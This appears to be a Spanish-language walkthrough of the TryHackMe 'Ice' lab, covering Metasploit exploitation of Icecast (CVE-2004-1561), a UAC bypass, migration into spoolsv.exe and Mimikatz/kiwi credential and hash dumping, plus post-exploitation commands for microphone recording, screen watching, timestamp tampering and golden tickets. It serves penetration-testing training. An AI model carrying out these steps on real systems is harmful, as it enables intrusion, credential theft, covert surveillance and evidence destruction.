En esta habitación vamos a explotar el servicio Ice, que es altamente vulnerable, para ganar acceso a una máquina Windows. Una vez en ella, escalaremos privilegios.

Desplegamos todo y lanzamos un escaneo contra la máquina. La pista nos dice que empleemos las opciones -sS -p- de Nmap, lo vamos a hacer, pero con Rustscan porque no quiero morir de viejo.

rustscan -a IP_Objetivo -- -A

El firewall está desactivado y uno de los puertos más interesantes corre el Microsoft Remote Desktop (MSRDP), ¿en qué puerto está? (No aparece como tal, sino como ssl/ms-wbt-server y luego rdp-ntlm-info)

3389

¿Qué servicio identifica en el puerto 8000? (Primera palabra)

Icecast

¿Qué identifica Nmap como nombre de host de la máquina (todo mayúsculas)

DARK-PC

Ojo, porque, aunque la pista recomienda usar la instrucción de Nmap:

nmap -sS -p- TARGET_IP

Harán falta más opciones, como -sV (escanear versiones) o -sC (analizar con scripts por defecto) para conseguir esos datos si seguimos la ruta Nmap.

Ganando acceso

Icecast es un servicio con muchas vulnerabilidades. Nos centramos en él y usamos CVE Details para esta pregunta y las siguientes.

¿Qué tipo de vulnerabilidad tiene? (La pista dice que es la que permite a un usuario no autenticado ejecutar código)

Execute Code Overflow

¿Cuál es el CVE para esta vulnerabilidad?

CVE-2004-1561

Ahora que hemos encontrado la vulnerabilidad, tenemos que encontrar el exploit. Para esta sección, vamos a usar el módulo asociado de Metasploit. Así que lo iniciamos con:

sudo msfconsole

En Metasploit vamos a buscar el exploit con:

search icecast

¿Cuál es la ruta completa del módulo de explotación?

exploit/windows/http/icecast_header

Seleccionamos ese módulo para usar con:

use exploit/windows/http/icecast_header # o bien la siguiente opción más sencilla
use 0 # Hace referencia al número de opción dentro de la búsqueda

Ahora tenemos que echar un vistazo a las opciones que hay que configurar con

show options

¿Cuál es la única opción requerida que está en blanco?

RHOSTS

Configuramos esa opción con la IP Objetivo y nos aseguramos de que LHOSTS es correcto. Una vez hecho, ejecutamos el exploit.

set RHOSTS IP_Objetivo # Configura la opción del host remoto que atacamos
exploit # Lanzamos el ataque, también podemos usar run

Escalar privilegios

Aquí vamos a enumerar la máquina y encontrar rutas potenciales de escalada de privilegios para ganar poderes de administración.

¿Cuál es el nombre de la shell que tenemos ahora gracias a la explotación de la vulnerabilidad?

Meterpreter

¿Qué usuario está corriendo el proceso Icecast? Los comandos utilizados para responder a esta pregunta y las siguientes se pueden tomar directamente de la habitación de Metasploit.

Podemos hacer:

ps # Corre todos los procesos y buscamos o bien
getuid # Obtiene el usuario

Encontramos un proceso Icecast2.exe y vemos el usuario que lo corre.

Dark

¿Qué build de Windows es este sistema? Podemos hacerlo con

sysinfo

7601

Ahora que conocemos algunos de los detalles más finos del sistema, vamos a escalar privilegios. Pero antes, ¿cuál es la arquitectura del proceso que estamos corriendo? (Lo pone también en el resultado de sysinfo)

x64

Ahora que tenemos la arquitectura, vamos a realizar un reconocimiento más profundo. Aunque no funciona muy bien en x64, vamos a correr este comando:

run post/multi/recon/local_exploit_suggester # Ojo, que puede llevar minutos

Nos sugiere unos cuantos resultados, ¿cuál es la ruta completa del primero?

exploit/windows/local/bypassuac_eventvwr

Ahora que tenemos un exploit en mente para elevar privilegios, vamos a poner esta sesión en segundo plano con el comando background o Ctrl+z. Tomamos nota de la sesión, que seguramente será 1 en este caso. Podemos listar todas las sesiones activas con sessions cuando estemos fuera de la shell de meterpreter.

Seleccionamos nuestro exploit encontrado con:

use exploit/windows/local/bypassuac_eventvwr

Los exploits locales requieren de seleccionar una sección, algo que podemos verificar si ejecutamos show options, la configuramos con:

set session NÚMERO_SESIÓN # En este caso es 1

Ahora que tenemos la sesión, se revelan más opciones en el menú, tenemos que configurar una más, ya que la IP de nuestro escuchador no es correcta. ¿Cuál es el nombre de esa opción? (En este caso, sí es correcta porque estoy usando la máquina de ataque web de Tryhackme, pero bueno)

LHOST

Tras configurar esa opción, podemos correr nuestro exploit de escalada de privilegios. Lo hacemos con run y puede que tengamos que relanzar la máquina y el exploit si falla, que a veces lo hace.

Cuando se completa la escalada, se abre una nueva sesión, podemos interactuar con ella usando el comando:

sessions NÚMERO_SESIÓN # En este caso es la 2

Podemos verificar que hemos ampliado permisos usando el comando getprivs. ¿Qué permiso listado nos permite tomar posesión de archivos?

SeTakeOwnershipPrivilege

Saqueando

Veamos cómo conseguir credenciales adicionales y romper los hashes guardados en la máquina.

Antes de hacer nada, necesitamos movernos a un proceso que tenga los permisos que necesitamos para interactuar con el servicio lsass, responsable de la autenticación dentro de Windows.

Primero, vamos a listar los procesos usando ps. Podremos ver procesos ejecutados por NT AUTHORITY\SYSTEM ya que hemos escalado permisos, aunque nuestros procesos no.

A fin de interactuar con lsass necesitamos vivir en un proceso que sea de la misma arquitectura que el servicio lsass (x64 en este caso) y un proceso que tenga los mismos permisos que lsass.

El servicio de impresora spool cubre perfectamente nuestras necesidades y se reiniciará si lo estropeamos. ¿Cuál es el nombre de este servicio de impresión?

Hemos mencionado vivir en un proceso. A menudo, cuando tomamos control de un programa en ejecución, cargamos otra librería compartida en el programa (una dll) que incluye nuestro código malicioso. Desde ahí, podemos generar un nuevo hilo (thread) que alberga nuestra shell.

spoolsv.exe

Migramos a ese proceso con el comando:

migrate -N NOMBRE_PROCESO

Vamos a chequear qué usuario somos ahora con el comando getuid. ¿Cuál es?

NT AUTHORITY\SYSTEM

Ahora que nos hemos abierto paso hacia los permisos de administrador, vamos a saquear el botín. Mimikatz es una herramienta de volcado de contraseñas increíblemente útil. La cargamos con:

load kiwi

Kiwi es la versión actualizada de Mimikatz.

Esto nos expande las opciones en el menú de ayuda. Echamos un vistazo a nueva sección con help

¿Qué comando nos permite obtener todas las credenciales?

creds_all

Ejecutamos el comando. ¿Cuál es la contraseña de Dark? Mimikatz nos permite robar esta contraseña de la memoria, incluso sin que el usuario esté autenticado, ya que hay una tarea programada que corre Icecast con el usuario Dark.

También ayuda que Windows Defender no está activo, claro.

Password01!

Posexplotación

Antes de comenzarla, revisitemos el menú de ayuda una vez más para contestar a las siguientes preguntas.

¿Qué comando nos permite volcar todos los hashes de las contraseñas del sistema? No romperemos la contraseña de Administración en este caso, ya que bastante fuerte (lo cual es intencional, para evitar password spraying)

hashdump

Aunque es más útil cuando estamos interactuando con una máquina que está siendo usada, ¿qué comando nos permite observar el escritorio del usuario en tiempo real?

screenshare

¿Y si queremos grabar desde un micrófono del sistema?

record_mic

Para complicar esfuerzos forenses, podemos modificar las marcas de tiempo de los archivos del sistema. ¿Qué comando nos permite hacer eso? (Esto, cuando se está haciendo pentesting no mola nada)

timestomp

Mimikatz nos permite crear lo que se llama un ticket dorado, permitiéndonos la autenticación en cualquier parte con facilidad. ¿Qué comando nos permite hace eso?

golden_ticket_create

Una última cosa. Como tenemos la contraseña de Dark, podemos autenticarnos en la máquina y acceder vía Remote Desktop (MSRDP).

Si no estuviera disponible, podemos hacerlo mediante el módulo de metasploit

run post/windows/manage/enable_rdp